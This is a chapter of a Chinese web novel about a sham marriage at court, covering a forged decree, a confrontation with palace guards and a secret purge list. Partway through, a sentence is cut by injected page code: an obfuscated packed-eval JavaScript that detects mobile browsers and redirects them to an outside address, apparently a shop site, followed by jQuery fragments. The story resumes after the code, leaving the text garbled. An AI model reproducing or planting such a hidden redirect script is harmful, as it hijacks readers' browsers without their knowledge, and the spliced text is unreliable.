第七十九章:喜酒里掺了断头血

作品:《说好假成亲,权臣他上头了

    那卷明黄色的锦缎在高公公手中缓缓展开,并没有想象中那般庄重,反而因为他手指过于用力的抓握,在边缘勒出了几道深刻的褶皱。


    “奉天承运,皇帝诏曰:兹有季氏长房季舟漾,孟氏孤女舒绾,破案有功,特赐今夜入宫完婚,以冲喜气,钦此。”


    高公公尖细的嗓音在雨后的夜空中划过,带着一种令人不适的黏腻感。


    他合上卷轴,皮笑肉不肉地看着面前的二人:“二位,皇上还在宫里等着喝这杯喜酒呢,连喜轿杂家都备好了,请吧?”


    季舟漾没有接旨。


    他的目光越过高公公那张敷满**的脸,扫向其身后的黑暗处。


    雨后的空气格外清冽,但这清冽中夹杂着一股极淡的皮革与油脂味——那是金吾卫铠甲特有的味道。


    如果只是传旨赐婚,按照大梁礼制,只需礼部司官二人,随行仪仗十二人。


    但此刻挤在季府大门外、与围观百姓混杂在一起的那些“护卫”,粗略一扫便不下三百之众。


    且这些人手按刀柄,站位并非仪仗队的八字排开,而是呈半包围的钳形攻势。


    这哪里是迎亲,分明是押解。


    季舟漾的左手拇指轻轻摩挲了一下腰间绣春刀的刀颚,这是他准备拔刀前的习惯动作。


    站在他身后半步的荣峥立刻捕捉到了这个信号,悄无声息地向后退了半步,手指扣紧了袖中的响箭。


    “高公公,”季舟漾的声音平稳得听不出情绪,“微臣怎么不知,大梁何时有了半夜入宫完婚的规矩?且这一路护送的金吾卫兄弟,似乎面生得很。”


    “哎哟,三爷,这可是皇上的隆恩,咱们做奴才的哪敢问规矩?”高公公眼中闪过一丝不耐,往前逼近了一步,那双细长的眼睛却像钩子一样,再次不受控制地瞟向孟舒绾被风吹起的腰带处,“还是说,三爷和孟姑娘身上带着什么不便入宫的东西,心虚了?”


    孟舒绾一直没说话。


    她的视线在高公公贪婪的眼神和自己腰间那枚作为“诱饵”的赝品玉佩之间打了个转。


    这位御前大太监的靴底沾着新鲜的红泥,那是宫中御花园特有的土质,说明他出宫极急,甚至没来得及换鞋。


    而他此刻的焦躁,显然不仅仅是为了带人走,更像是为了那枚能定人生死的“兵符”。


    孟舒绾忽然笑了。


    她上前一步,双手举过头顶,似乎是要去接那道圣旨,却在双方衣袖即将交错的瞬间,脚下像是被裙摆绊了一下,身形猛地一晃。


    “啊!”


    一声短促的惊呼。


    系在她腰间的那枚麒麟玉佩因为这一晃,绳结“意外”松脱,直直地坠向坚硬的青石台阶。


    “我的祖宗!”


    这一声凄厉的惨叫并非出自孟舒绾,而是出自高公公。


    原本端着架子的高公公,在看到玉佩坠落的那一瞬间,竟完全顾不得什么体面尊严,整个人像只扑食的癞**一样猛地向前扑去,双手在空中胡乱抓捞,试图在那玉佩落地前将其接住。


    “啪。”


    一声脆响。


    玉佩在台阶上摔得粉碎,晶莹的碎玉飞溅开来,有一片甚至划破了高公公那昂贵的缎面袖口。


    高公公维持着那个狼狈的半跪姿势,呆呆地看着地上的碎片,脸上的肌肉剧烈抽搐着,那一瞬间流露出的绝望与狰狞,比**亲爹还要真切。


    如果是普通御赐之物,碎了顶多是个大不敬。


    但他这副如丧考妣的模样,分明是因为丢失了最重要的任务目标。


    “哎呀,”孟舒绾掩住口,眼中却无半点惊慌,只有冷意,“公公这是做什么?不过是一块孟家旧玉,若是公公喜欢,回头我让人去铺子里再打十块便是。您这般行大礼,折煞舒绾了。”


    高公公猛地抬头,死死盯着孟舒绾,那眼神阴毒得像是要**。


    他意识到自己被耍了。


    “好……好个孟舒绾。”高公公缓缓站起身,拍了拍膝盖上的泥水,声音变得阴森可怖,“敬酒不吃吃罚酒。来人!季舟漾、孟舒绾抗旨不尊,给杂家拿下!”


    “铮——!”


    并没有预想中的束手就擒。


    就在那一众伪装成护卫的金吾卫拔刀上前的瞬间,季府那两扇残破的大门内,突然冲出一道黑影。


    那是陆思诚。


    这位早已投靠齐王的金吾卫校尉,趁着刚才前门的混乱,竟然带人摸进了后院。


    他手里提着刀,靴子上全是泥泞,显然是想从后面包抄,却没想到此刻狼狈地冲了出来。


    紧追在他身后的,是提着一只大木勺的沈嬷嬷。


    “哪里来的野狗,敢往姑娘的绣房里钻!”


    沈嬷嬷虽上了年纪,但动作极其泼辣。


    她手中的木勺一挥,满满一勺滚烫的红豆粥,冒着白烟,精准无比地泼在了陆思诚那双刚才试图踹门的官靴上。


    那是给灾民熬粥剩下的一桶底,熬得极稠,又在炭火上温了半宿,温度高得吓人。


    “啊——!”陆思诚发出一声惨叫,烫得原地跳脚,原本想要偷袭的阵型瞬间大乱。


    趁着这短暂的混乱,沈嬷嬷跌跌撞撞地冲到孟舒绾身后,借着搀扶她的动作,将一只沉甸甸的锦盒硬塞进了孟舒绾宽大的袖筒里。


    “老太爷留下的……就在灶台下面的砖缝里……”沈嬷嬷压低声音,喘着粗气,“快收好。”


    孟舒绾手臂一沉,不动声色地拢住袖口。


    此时,季舟漾已经向前跨出一步,将孟舒绾和沈嬷嬷严严实实地挡在身后。


    面对四周逼近的刀光,他不仅没有拔刀,反而冷冷地看着高公公:“高福海,你说这是圣旨。那我问你,内阁拟票何在?礼部勘合何在?最重要的是——”


    季舟漾指着高公公手中那卷明黄卷轴,“这上面盖的‘受命于天,既寿永昌’的传国玉玺印,为何只有半个?”


    高公公脸色一白。


    那确实是一道中旨,也就是皇帝越过内阁直接下达的命令,程序上本就不合规,更别提那印章是因为匆忙间用萝卜刻的替代品盖上去的,经不起细看。


    “皇权特许,何须那些繁文缛节!”高公公恼羞成怒,尖叫道,“给我杀!出了事杂家担着!”


    一名靠得最近的金吾卫怒吼一声,举刀便砍。


    季舟漾眼神一凛。


    他没有退,反而迎着刀锋欺身而上。


    没有人看清他是如何出手的。


    只听“咔嚓”一声令人牙酸的骨裂声,那是手腕被生生折断的声音。


    紧接着,季舟漾反手夺过那柄钢刀,手腕一转,刀锋带起一道寒光。


    “咄!”


    那名金吾卫甚至来不及惨叫,整个人便被一股巨力向后带飞,肩膀被那柄钢刀死死钉在了身后朱红色的大门上!


    鲜血顺着门板蜿蜒而下,在雨水中晕开一片刺目的红。


    全场死寂。


    季舟漾站在台阶之上,身上散发出的煞气比这满城的风雨还要凛冽。


    “高公公想担着?”季舟漾接过荣峥递来的手帕,慢条斯理地擦着手上沾染的一点血迹,声音不大,却让在场的每一个金吾卫都感到背脊发凉,“这一刀,是我季家给这道‘圣旨’的回礼。既然没有内阁红批,那就是矫诏。矫诏者,杀无赦。我看谁敢再动一步?”


    百姓们的灯火在风中摇曳,将季舟漾的身影拉得极长。


    高公公看着那个被钉在门上哀嚎的手下,又看了看周围那些虽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104192|195231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然手持火把却不敢上前的百姓,咬了咬牙。


    今晚强攻已是不可能了。


    **已经被孟舒绾那一番“砸玉”的操作带偏,若真在这大庭广众之下屠了季府,明日御史台的唾沫星子就能把他淹死。


    “好……好得很。”高公公怨毒地指了指季舟漾,又指了指孟舒绾,“季三爷好大的威风。既如此,那这杯喜酒,咱们就留着以后慢慢喝。走!”


    随着太监的一声令下,那群如狼似虎的金吾卫终于如潮水般退去。


    深夜,风停了。


    季府东厢的一间还算完整的卧房内,红烛高烧。


    这里原本是季越为了附庸风雅布置的暖阁,如今却被临时清理出来,成了孟舒绾暂时的落脚处。


    窗外更夫敲过了三更天。


    孟舒绾坐在案前,小心翼翼地打开了那个沾着红豆粥香气的锦盒。


    锦盒并不名贵,甚至有些陈旧。


    但当孟舒绾的手指触碰到盒内衬布时,指尖传来一阵滑腻的触感。


    那不是丝绸该有的触感。


    她凑近烛火,发现盒壁内衬渗出了一层乌黑的油渍。


    她用指甲轻轻一挑,竟从夹层中揭下一张薄如蝉翼的羊皮纸。


    这是经过特殊处理的“油书”,防火防水,通常用来记录绝对不能见光的秘密。


    纸上的字迹已经有些模糊,但那一个个名字却像是一把把利刃,直刺孟舒绾的眼帘。


    这并不是什么**的账目,也不是勾结外敌的书信。


    这是一份“投名状”。


    是一份二十年前,先帝为了稳固皇权,授意当时还是皇子的当今圣上,对西北边境三个不服管教的世家大族进行“清洗”的名单。


    而排在名单第一位的,赫然写着——“陇西叶氏,全族三百一十二口,鸡犬不留。”


    孟舒绾的手猛地一颤。


    陇西叶氏。


    那是季舟漾生母的母族。


    那个传说因为难产而死的季家大夫人,那个季舟漾从未提起过的母亲,原来她的族人,早在二十年前就成了皇权路上的垫脚石。


    而在这份名单的末尾,有一个鲜红的批注,字迹正是当今皇上所写:“孟公固执,不肯用印,留待后察。”


    原来如此。


    原来祖父当年的“罪”,是因为他拒绝在这份**令上盖上户部的大印,拒绝将这笔“军费”合法化。


    “哆!”


    就在孟舒绾沉浸在巨大的震惊中时,一声尖锐的破空声骤然响起。


    一支冷箭击穿了紧闭的窗户纸,擦着孟舒绾的发梢飞过,狠狠钉在了她身后的床柱上。


    孟舒绾浑身僵硬,慢慢转过头。


    那支羽箭的箭簇上,并没有绑着信纸,而是挂着一样血肉模糊的东西。


    那是一只耳朵。


    耳垂上还挂着一枚极小的金耳环——那是季二爷平日里最爱戴的如意金环。


    这是来自皇宫的警告。


    季二爷**,下一个,就是知道秘密的人。


    孟舒绾死死盯着那只耳朵,胸口剧烈起伏。


    良久,她才长长地吐出一口浊气,眼中原本的震惊逐渐褪去,取而代之的是一种决绝的死寂。


    她站起身,走向房间角落里那个早已备好的红漆衣箱。


    箱盖打开,里面静静地躺着一套大红色的嫁衣。


    那是按照祖制赶制的,绣工繁复,流光溢彩。


    孟舒绾伸出手,指尖划过嫁衣冰凉的绸面,最终停留在嫁衣最里层。


    她在那里,摸到了一层并不属于嫁衣形制的、略显粗糙的白绫。


    那白绫摸上去有些潮湿,似乎浸泡过某种药水,散发着一股淡淡的苦杏仁味。